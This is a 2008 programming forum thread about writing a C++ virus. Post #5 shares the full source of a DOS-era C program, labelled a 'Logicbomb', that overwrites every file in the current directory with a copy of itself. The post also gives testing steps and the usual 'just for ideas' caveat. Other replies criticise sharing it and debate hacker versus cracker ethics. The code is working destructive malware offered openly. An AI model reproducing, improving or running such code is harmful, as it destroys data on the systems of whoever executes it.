|
Go4Expert Member
|
|
| 9Jul2008,00:38 | #2 |
|
n00b
way to go, cracker learn for yourself Cplusplus.com that should get you started it takes a lot of reading you cant expect to start making programs just because you learned the basics ~3xistanc3 |
|
Invasive contributor
|
|
| 9Jul2008,00:49 | #3 |
|
calling someone a noob is pointless you was once a newb as well he only came here for help he didnt ask for sarcastic answers maybe you should edit your post and delete all that sarcasim
how would u like it if you went to a forum and wanted some help and some guys out of know where starts calling you newb and stuff. You wouldnt like it would you |
|
Go4Expert Member
|
|
| 13Jul2008,19:37 | #4 |
|
Quote:
Originally Posted by Dak914 I second Immortal, you should not show such attitude .... |
|
Go4Expert Member
|
|
| 13Jul2008,19:45 | #5 |
|
and about C++ virus i have something similar, you may not call it a proper virus it damages computer and it may give you some idea, just get the idea from this program
It's not created by me, one of my frnd Shumaila Juffar did it Code:
#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("\nVirus: Pagal Shum :p 1.0\nProgrammer:shumaila jaffer\n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{ printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Logicbomb");
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
The working logic is very simple the program get its name through command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program How to test 1>write the code in c compiler, remember thatDO NOT RUN THE CODE, just complie or build it, so that the .exe file is built 2>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our example.exe file ,all files in folder r attacked WARNING I have not tested this neither i created, i am just sharing ..... so i will reccomend that use this program to get an idea, dont implement |
|
Invasive contributor
|
|
| 13Jul2008,20:04 | #6 |
|
Thankyou dssr for the support also tell your friend that that is a nice virus
|
|
Go4Expert Member
|
|
| 29Oct2008,08:09 | #7 |
|
How could you? I thought this was a programming site meant for the production of applications so as to help the world of computers, not destroy it! You should only create applications for a good cause, and only for a bad cause if it is absolutely necessary. Whatever, you want have to worry about me getting on the site anymore anyway.
I'm out for good. edit: On giving the matter more thought, I have evidently changed my mind about the site. I disagree strongly with the thoughts of someone who [destroys computers] for no reason. This is cracker attitude. That is also why I called this person a noob instead of a newbie. I agree that I was a newbie once. But, I disagree that I was a noob once. Noobs are people who have an interest only in being the hacker that normal society believes them to be, while newbies have an interest in expanding their knowledge about computers to meet the standards of other true hackers. A hackers intentions should only be negative when their reasons are serious. Crackers intentions are bad all the time, regardless of the reason. I give this person credit for including a programming language, this shows general interest. I merely ask that this person state a serious reason for why they would need such a virus, instead of just blurting out the word "virus" so that someone could easily mistake their intentions. I hope that clears up my opinions as to why I would post this kind of answer to that kind of question. Last edited by Dak914; 29Oct2008 at 09:24.. |
|
Go4Expert Member
|
|
| 29Oct2008,09:22 | #8 |
|
Quote:
Originally Posted by XXxxImmortalxxXX
Scripting
like this
|
|
Contributor
|
|
| 14Nov2008,20:58 | #9 |
|
I don't understand if there is any point of showing attitudes and shouting spells at each other.....
Quote:
The only positive thing I see in designing a virus is the logic....the algorithm....it requires huge brain work.....and we should start to practice makin the antivirus at the smae time....not for application, but for enhancement of knowledge.....afterall we need to filter the good out of the bad....don't we??? Sorry guys...for uttering so much words being just a newcomer....I swear I won't do it next time..... keep smiling everyone....cheers.... ------------------ @ r k @ |
